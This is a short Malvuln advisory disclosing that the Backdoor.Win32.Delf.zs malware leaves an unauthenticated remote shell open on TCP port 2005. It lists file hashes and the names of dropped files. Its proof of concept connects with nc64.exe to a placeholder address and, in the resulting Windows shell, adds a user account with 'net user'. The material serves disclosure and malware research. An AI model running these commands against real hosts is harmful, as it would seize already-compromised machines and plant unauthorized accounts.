Backdoor.Win32.Delf.zs Code Execution

Backdoor.Win32.Delf.zs malware suffers from a code execution vulnerability.

MD5 | e764ce87d4f8bf278068f58921264acd

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Delf.zs
Vulnerability: Unauthenticated Remote Command Execution
Description: Backdoor Delf.zs c0ded By Eb0La, is used to build backdoors that listen on TCP port 2005. Upon building it drops an executable named "[Shell_Me]_Server.exe." The name for the spawned backdoor defaults to "Syst32.exe" but can be customized. Third-party attackers who can reach infected systems can execute arbitrary commands by simply connecting to the backdoor which will return a remote shell to the infected host as no authentication exists.
Type: PE32
MD5: 911e96073cfe807289366343aa8d97ac
Vuln ID: MVID-2021-0150
Dropped files: [Shell_Me]_Server.exe, Syst32.exe
Disclosure: 03/26/2021

nc64.exe x.x.x.x 2005

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\>net user dirty0tis abc123 /add
net user dirty0tis abc123 /add
The command completed successfully.

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